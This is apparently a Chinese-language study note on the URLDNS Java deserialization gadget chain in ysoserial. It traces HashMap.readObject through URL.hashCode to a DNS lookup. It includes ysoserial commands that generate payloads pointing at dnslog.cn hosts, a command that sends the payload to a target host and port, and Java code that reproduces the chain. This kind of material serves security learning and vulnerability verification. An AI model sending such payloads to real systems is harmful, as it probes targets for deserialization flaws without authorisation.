URLDNS链
原理
java.util.HashMap
实现了Serializable
接口,重写了readObject
, 在反序列化时会调用hash
函数计算key
的hashCode
,而java.net.URL
的hashCode
在计算时会调用getHostAddress
来解析域名, 从而发出DNS
请求。
- 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
- 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
- URLDNS利用链,只能发起DNS请求,并不能进行其他利用
可通过# 生成序列化Payload
java -jar ysoserial-all.jar URLDNS http://1msjui.dnslog.cn > a.ser
生成payload
测试 : python exploit_deserlab.py [host] [port] payload.bin
然后将序列化payload发给对应的目标结合漏洞让他进行反序列化,这里本地直接写个反序列化过程举例了;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class App {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("/Users/d4m1ts/d4m1ts/tools/java/ysoserial/target/a.ser"));
objectInputStream.readObject();
}
}
DNSlog收到了请求
执行反序列化函数readObject()的最后会执行函数hash(key)
hash()函数调用了key.hashCode()
所以可以构造反序列化链:
HashMap.readObject()
HashMap.hash(key)
HashMap.key.hashCode()
将key改为URL对象
URL.hashCode()
URL.handler.hashCode() //向url发出请求
URLDNS链分析
URLDNS是ysoserial里面就简单的一条利用链,但URLDNS的利用效果是只能触发一次dns请求,而不能去执行命令。比较适用于漏洞验证这一块,尤其是无回显的命令执行,而且URLDNS这条利用链并不依赖于第三方的类,而是JDK中内置的一些类和方法。
这里为了方便调试,直接把ysoserial项目导入idea中。
一开始依赖一直导入不了,右键点击pom.xml然后创建settings.xml,配置镜像以后就可以了
首先生成payload,可以直接利用编译好的jar包:
java -jar ysoserial-0.0.5.jar URLDNS http://1msjui.dnslog.cn > urldns.txt
也可以在IDEA中通过Configurations设置参数之后,再run生成
再次运行
打开ysoserial/payloads/URLDNS.java
的源码,可以看到它的调用链
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
根据上述的Gadget Chain
,可见触发点是在HashMap.readObject()
,为了节约时间,我们直接在HashMap.readObject()
处下断点。
中间的调试先省略了,大概跟了一下,说难也不难,去调试ysoserial就是说怎么进行序列化的,后面也会怎么反序列化,感觉跟php的反序列化类似,就是这个类执行另一个类的方法,看能不能找到一条链子,不过java不一样的地方是它是强面向对象的语言,序列化反序列化的过程中会加上很多java语言的特性,所以说还是得学好java的基础
就像hashmap的put在调用的时候就会请求DNS,但是ysoserial在进行序列化调用的时候却没有请求DNS
再看看Ysoserial里面的URLDNS,多了这些:
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
根据调用链,最后面会调用handler
的getHostAddress
方法。为了不让在put
的时候就触发了URLDNS
,Ysoserial
自己写了一个类继承URLStreamHandler
,然后重写了getHostAddress()
方法,防止了put
时候的触发。
我们自己也试一下
public class URLDNS {
public static void main(String[] args) throws MalformedURLException {
HashMap ht = new HashMap();
String url = "http://amam4v.dnslog.cn/";
URLStreamHandler handler = new TestURLStreamHandler();
URL u = new URL(null,url,handler);
ht.put(u,url);
}
}
class TestURLStreamHandler extends URLStreamHandler {
@Override
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
@Override
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
最后就是在这里进行了DNS请求
等到步出这个方法的时候dnslog就多了一条
整个调用链如下:
HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() -> URL.hashCode() -> URLStreamHandler.hashCode().getHostAddress() ->URLStreamHandler.getHostAddress().InetAddress.getByName()